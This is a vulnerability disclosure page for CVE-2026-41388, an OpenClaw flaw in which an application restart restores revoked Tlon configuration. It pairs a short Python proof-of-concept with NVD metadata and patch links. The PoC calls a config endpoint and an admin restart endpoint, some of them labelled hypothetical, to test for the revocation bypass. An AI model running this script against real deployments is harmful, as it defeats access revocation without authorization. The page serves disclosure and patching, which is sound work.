CVE-2026-41388

import requests import time # Proof of Concept for CVE-2026-41388 # This script demonstrates the configuration rehydration vulnerability. TARGET = "http://vulnerable-openclaw-instance" CONFIG_ENDPOINT = f"{TARGET}/api/config" RESTART_ENDPOINT = f"{TARGET}/api/admin/restart" # Hypothetical endpoint def check_config_state(): """Check the current state of the Tlon configuration.""" try: response = requests.get(CONFIG_ENDPOINT, timeout=5) data = response.json() # Assuming 'tlon_config' holds the sensitive data return data.get('tlon_config', 'MISSING') except Exception as e: print(f"Error checking config: {e}") return None def trigger_restart(): """Trigger application restart to invoke startup migration.""" try: print("[*] Triggering application restart...") requests.post(RESTART_ENDPOINT, timeout=5) except requests.exceptions.ConnectionError: print("[!] Connection lost (Server likely restarting)...") if __name__ == "__main__": print("--- CVE-2026-41388 PoC: OpenClaw Config Rehydration ---") # 1. Check initial state (Assume revoked/empty) print("[1] Verifying initial configuration state...") initial_state = check_config_state() print(f" Initial Tlon Config: {initial_state}") if initial_state is None: print("[-] Target is not responding. Exiting.") exit(1) # 2. Trigger the vulnerability condition (Restart) trigger_restart() # 3. Wait for service recovery print("[*] Waiting for service to restart (10s)...") time.sleep(10) # 4. Verify configuration rehydration print("[2] Verifying configuration state after restart...") final_state = check_config_state() print(f" Final Tlon Config: {final_state}") # 5. Result if final_state and final_state != 'MISSING' and final_state != []: print("[+] SUCCESS: Configuration was rehydrated from file state (Bypass revocation).") else: print("[-] FAILED: Configuration remains revoked or target unreachable.")

{"cve": {"id": "CVE-2026-41388", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:42.040", "lastModified": "2026-04-30T20:37:42.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a configuration management vulnerability where startup migration treats empty-array settings as missing values. Attackers can restart the application to rehydrate revoked Tlon configuration from file state, bypassing intended revocation controls."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-372"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/a4d72a83f01fedd35964c352e3473c7712a3511b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3pm9-5j7m-59vc", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-configuration-rehydration-via-empty-array-revocation-handling", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}